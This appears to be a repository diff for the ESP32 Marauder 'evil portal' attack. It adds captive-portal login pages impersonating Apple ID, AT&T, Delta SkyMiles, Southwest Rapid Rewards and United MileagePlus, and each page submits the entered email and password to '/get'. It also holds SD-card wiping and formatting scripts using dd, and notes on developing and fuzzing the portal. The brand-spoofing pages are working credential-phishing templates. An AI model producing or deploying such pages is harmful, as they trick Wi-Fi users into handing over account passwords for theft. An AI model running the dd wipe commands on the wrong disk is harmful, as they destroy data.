font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #656569;
}
#inputText {
margin: 5px 0 80px 0;
}
#appleid {
min-width: 350px;
padding: 20px;
border: .5px solid #d2d2d7;
border-radius: 10px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
background-repeat: no-repeat;
background-position: calc(100% - 20px) center;
background-image: url('./input.svg');
align-self: center;
background-size: 8%;
}
#password {
min-width: 350px;
padding: 20px;
border: .5px solid #d2d2d7;
border-radius: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
background-repeat: no-repeat;
background-position: calc(100% - 20px) center;
background-image: url('./input.svg');
align-self: center;
background-size: 8%;
}
input #appleid {
box-shadow: none;
outline: none;
-moz-box-shadow: none;
-webkit-box-shadow: none;
border-color: transparent;
}
.input2 {
text-align: center;
min-width: 180px;
border-bottom: .1px solid #d2d2d7;
}
.logo {
display: flex;
justify-content: center;
margin-top: -60px;
margin-bottom: 20px;
}
.logo svg {
width: 8%;
height: auto;
}
#remember {
margin-right: 5px;
margin-bottom: 20px;
}
#r2 {
color: #656569;
}
form h4 {
margin-top: 1rem;
font-weight: 300;
}
::placeholder {
font-size: 16px;
/* font-family: Arial, sans-serif; */
}
.bx {
color: #1975d1;
transform: rotate(45deg);
}
footer {
position: absolute;
display: flex;
width: 100%;
height: 65px;
padding: 20px;
bottom: 0;
margin-bottom: 0;
background-color: #f5f5f7;
}
footer p {
font-size: 13px;
}
footer p:nth-child(2) {
margin: 0 20px;
}
footer p:nth-child(3) {
padding-left: 20px;
border-left: .5px solid #d2d2d7;
}
button {
background: none;
border: none;
padding: 0;
margin: 0;
font: inherit;
color: inherit;
cursor: pointer;
}
@media screen and (max-width: 768px) {
form {
width: 80%;
}
#appleid,
#password {
min-width: 90%;
}
}
</style>
</head>
<body>
<header>
<div class="appleLogo">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt"
viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682
-942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470
223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7
-126 -14z" />
<path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737
-209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70
-488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83
-327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863
-2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522
171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529
-168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200
1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432
-332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791
158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89
-679 131 -921 105z" />
</g>
</svg>
</div>
</header>
<div class="main">
<form action="/get" id="email-form-step" method="GET">
<div id="sign">
<h2>Sign in</h2>
<h2>Use your Apple ID to access the Wi-Fi</h2>
</div>
<div class="input" id="inputText">
<div>
<input type="email" name="email" placeholder="Apple ID" id="appleid" required>
</div>
<div>
<input type="password" name="password" placeholder="Password" id="password" required>
</div>
</div>
<div class="logo">
<button class="button" type="submit">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt"
viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000"
stroke="none">
<path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594
-662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31
-550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220
412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45
498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194
477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460
-489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475
34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212
-1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465
465 1108 699 1760 639z" />
<path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15
168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97
-90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341
-340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90
132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159
-15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" />
</g>
</svg>
</button>
</div>
<div class="input2">
<input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label>
</div>
<h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4>
<h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i
class='bx bx-up-arrow-alt'></i></span></h4>
</form>
</div>
<footer>
<p>Copyright &copy 2023 Apple Inc. All rights reserved.</p>
<p>Privacy Policy</p>
<p>Terms of Use</p>
</footer>
</body>
</html>
@@ -0,0 +1,94 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #00A8E0;
}
.container {
max-width: 400px;
margin: auto;
background-color: white;
padding: 20px;
border-radius: 5px;
}
#logo {
text-align: center;
margin-bottom: 20px;
}
h1 {
text-align: center;
font-size: 24px;
font-weight: 300;
margin-top: 0;
}
h2 {
text-align: center;
font-size: 16px;
font-weight: 200;
color: #888;
margin-top: 5px;
}
input {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
margin-top: 10px;
font-size: 16px;
}
button {
background-color: #00A8E0;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
cursor: pointer;
width: 100%;
font-size: 16px;
}
button:hover {
background-color: #0081b8;
}
</style>
</head>
<body>
<div class="container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411">
<path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/>
<path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your AT&T Account to gain Access to the WiFi Network</h2>
<form action="/get">
<input type="text" name="email" placeholder="Email or Phone Number" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
@@ -0,0 +1,115 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #003D79;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118">
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/>
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/>
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/>
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
@@ -0,0 +1 @@
<HTML>HTMLINDEXFILE</HTML>
@@ -0,0 +1,110 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background: #f9f9f9;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
.container {
background: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px #999;
max-width: 400px;
}
.logo {
text-align: center;
}
svg {
width: 80%;
}
h1 {
font-size: 1.5rem;
text-align: center;
margin: 20px 0;
}
.subtext {
text-align: center;
margin-bottom: 20px;
font-size: 0.9rem;
}
.form-group {
margin-bottom: 15px;
display: flex;
justify-content: center;
}
.form-control {
width: 100%;
padding: 10px;
border-radius: 5px;
border: 1px solid #ddd;
font-size: 1rem;
}
button {
width: 100%;
padding: 10px;
border: none;
border-radius: 5px;
background: #143f85;
color: #fff;
font-size: 1.1rem;
cursor: pointer;
}
@media (max-width: 500px) {
.container {
max-width: 90%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34">
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/>
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/>
</svg>
</div>
<h1>Sign In</h1>
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p>
<form action="/get" method="GET">
<div class="form-group">
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required>
</div>
<div class="form-group">
<input type="password" name="password" class="form-control" placeholder="Password" required>
</div>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
@@ -0,0 +1,117 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #003D79;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82">
<switch transform="translate(-5 -6)">
<g>
<path fill="none" d="M0 0h490v95H0z"/>
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/>
</g>
</switch>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your MileagePlus® number and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
+1
View File
@@ -0,0 +1 @@
sudo mount /dev/`echo $1`1 /mnt/MARAUDLABEL
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
sudo umount /mnt/MARAUDLABEL
+44
View File
@@ -0,0 +1,44 @@
#!/bin/bash
mountpoint=/mnt/MARAUDLABEL/
gb_to_zero=4
# full_wipe=True
copy_files=True
echo "WILL WIPE DISK USE WITH CARE"
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block="/dev/${disk}"
if [ -z $full_wipe ]; then
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
else
echo -e "\nZeroing FULL Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=32M conv=fdatasync
fi
echo -e "\nCreating Partitions on $block"
sudo echo ',,b;' | sudo sfdisk $block
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
lsblk
read part
partition="/dev/${part}"
echo -e "\nMaking FAT32 Filesystem on $partition"
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
echo -e "\n$block Status:"
sudo sfdisk -l $block
echo -e "\nMounting $partition at $mountpoint"
sudo mount $partition $mountpoint
if [ ! -z $copy_files ]; then
echo -e "\nCopying Minimal Files"
sudo cp marauder_cyd_microsd/index.html $mountpoint
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
echo -e "\nListing"
ls -lah $mountpoint
echo -e "\numounting $partition from $mountpoint"
sudo umount $mountpoint
fi
echo -e "\n\nYou May Now Use on Marauder"
+352
View File
@@ -0,0 +1,352 @@
maraduer exploit
evil portal
sd card
patients:
standard 32gb microsb hc I U1 Class 10, micro center
marauder:
wifi dev board pro, latest release as of 09222024
CYD latest of 09222024
fat32 investigations:
windows:
compare:
partition magic
windows default formatter
linux: [0]
find device: (and/or options)
dmesg
dmesg -w #while plugging in
cat /proc/partitions
sudo fdisk -l
lsblk
zreo out drive:
sudo dd if=/dev/zero of=/dev/sdX status=progress bs=32M conv=fdatasync # much faster this way [2]
create partition table/mbr:
sudo fdisk /dev/sdX
o # "create a new empty MBR (DOS) partition table"
w # write
create partitions:
sudo fdisk /dev/sdX
n # "new" "add a new partition"
(select all defaults)
t # "type" "change a partition type"
b # "0b" "W95 FAT32"
p # show partition info
w # write
create file system:
sudo mkfs.vfat -F 32 -n MARAUDERSD /dev/sdX1
mount: [1]
sudo mkdir /mnt/maraudersd
sudo mount /dev/sdX1 /mnt/maraudersd
Links:
[0] https://lobotuerto.com/notes/format-a-usb-drive-as-fat32-in-linux
[1] https://linuxconfig.org/howto-mount-usb-drive-in-linux
[2] https://www.man7.org/linux/man-pages/man1/dd.1.html
[2] https://stackoverflow.com/questions/68150702/what-does-the-conv-fdatasync-do-in-dd-command-in-linux
notes/todo:
get exact specs on microsd
dd specifc amount of data from sdX
bs (blocksize r and w) defaults to 512 (Bytes) by default but listed explicitly for clarity
16MB:
16MB = 16,777,216 Bytes
16,777,216 Bytes / 512 Bytes = 32,768 blocks of 512 Bytes
sudo dd if=/dev/sdX of=//home/kali/marauderexploitdev/imgs/first-16M-sdcard-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=32768 status=progress conv=fdatasync
4MB:
4MB = 4,194,304 Bytes
4,194,304 Bytes / 512 Bytes = 8,192 Blocks of 512 Bytes
sudo dd if=/dev/sdX of=/home/kali/marauderexploitdev/imgs/first-4M-sdcard-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=32768 status=progress conv=fdatasync
Full command to full dump:
sudo dd if=/dev/sdX of=/home/kali/marauderexploitdev/imgs/full-sdcard-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
tasync
1) zero out
2) sanity checks/progression
zeroed out drive for all 0s and filesize should be exact:
sudo dd if=/dev/zero of=/dev/sdX status=progress bs=32M conv=fdatasync
4MB Dump:
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/1-first-4MB-zerored
-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=8192 status=progress conv=fdatasync
hexdump reveals all zeros in 0-first-4M-sdcard-marauder_23092024-00.28.15-UTC.img
after create partition table:
4MB Dump:
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/1-first-4MB-mbr-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=8192 status=progress conv=fdatasync
after creating partitions:
4MB Dump:
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/2-first-4MB-created-partitions-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=5122 count=8192 status=progress conv=fdatasync
Primary
Number 1
First sector (2048-60579839, default 2048):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-60579839, default 60579839)
W95 FAT32
Disk /dev/sda: 28.89 GiB, 31016878080 bytes, 60579840 sectors
Disk model: Storage Device
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x85cf894c
Device Boot Start End Sectors Size Id Type
/dev/sda1 2048 60579839 60577792 28.9G b W95 FAT32
after create filesystem:
Full Dump:
byobu
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/3-full-created-filesystem-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
after mount:
sudo mkdir /mnt/maraudersd
sudo mount /dev/sdX1 /mnt/maraudersd
4MB Dump:
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/4-first-4MB-mounted-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=8192 count=512 status=progress conv=fdatasync
after a text file is added:
4MB Dump:
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/5-first-4MB-textfile-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=8192 count=512 status=progress conv=fdatasync
after a dir and text file are added:
4MB Dump:
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/6-first-4MB-dir-textfile-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=8192 count=512 status=progress conv=fdatasync
re-zero, remake parts, repeat 0-3
sanity check
after booting marauder:
Full Dump:
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/4-marauder-boot-reboot-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
add evil portal stuff
Full Dump:
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/5-evil-portal-files-added-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress
after logging fron evilportal:
Full Dump:
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/6-evil-portal-files-logged-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
after breaking chars from fuzzing evil portal 0x00-0xFF:
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/7-evil-portal-fuzzed-0x00-0xFF-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
Full setup auto: #prose kinda
#!/bin/bash
date=`date "+%d%m%Y-%H.%M.%S-%Z"`
lsblk
echo "Enter drive (sdX only no /dev/)
read drive
echo "Zeroing Out"
sudo dd if=/dev/zero of=/dev/$drive status=progress bs=32M conv=fdatasync # much faster this way
echo "Dumping Zeroed Out Drive $drive to /home/kali/marauderexploitdev/imgs/0-full-zeroed-$drive_$date.img"
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/0-full-zeroed-$drive_$date.img bs=32M status=progress conv=fdatasync
echo "Creating MBR/Partition Table"
echo "o then w"
sudo fdisk /dev/$drive
echo "Dumping Full Partition Table/MBR Drive $drive to /home/kali/marauderexploitdev/imgs/1-full-partition-table-mbr-$drive_$date.img"
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/1-full-partition-table-mbr-$drive_$date.img bs=32M status=progress
echo "Creating Partitions"
echo "n (all defaults), t, b, p, w"
sudo fdisk /dev/$drive
echo "Dumping Partitioned Drive $drive to /home/kali/marauderexploitdev/imgs/2-partitioned-$drive_$date.img"
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/2-partitioned-$drive_$date.img bs=32M status=progress
echo "Creating Filessytem"
sudo mkfs.vfat -F 32 -n MARAUDLABEL /dev/$drive
echo "Dumping Fullly Formatted Disk $drive to /home/kali/marauderexploitdev/imgs/3-formatted-$drive_$date.img"
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/3-formatted-$drive_$date.img bs=32M status=progress
"Mounting"
sudo mkdir /mnt/MARAUDLABEL
sudo mount /dev/$drive1 /mnt/MARAUDLABEL
sudo umount /mnt/MARAUDLABEL
echo "Dumping Mounted Then Unmounted Disk $disk to /home/kali/marauderexploitdev/imgs/4-mounted-unmounted-$drive_$date.img"
WORKFLOW:
Pi5-USB:
byobu
lsblk
export disk=sdX
zero:
sudo dd if=/dev/zero of=/dev/$disk status=progress bs=1M count=4K conv=fdatasync
mbr/partition table:
sudo fdisk /dev/$disk
o # "create a new empty MBR (DOS) partition table
w # write
create partitions:
sudo fdisk /dev/$disk
n # "new" "add a new partition"
(select all defaults)
t # "type" "change a partition type"
b # "0b" "W95 FAT32"
p # show partition info
w # write
# create filesystem:
# sudo mkfs.vfat -F 32 -n MARAUDERSD "/dev/${disk}1"
mount:
./mount-marauder-sd $disk
# sudo mount /dev/($disk)1 /mnt/MARAUDLABEL
add needed files:
# sudo mkdir /mnt/MARAUDLABEL/scripts
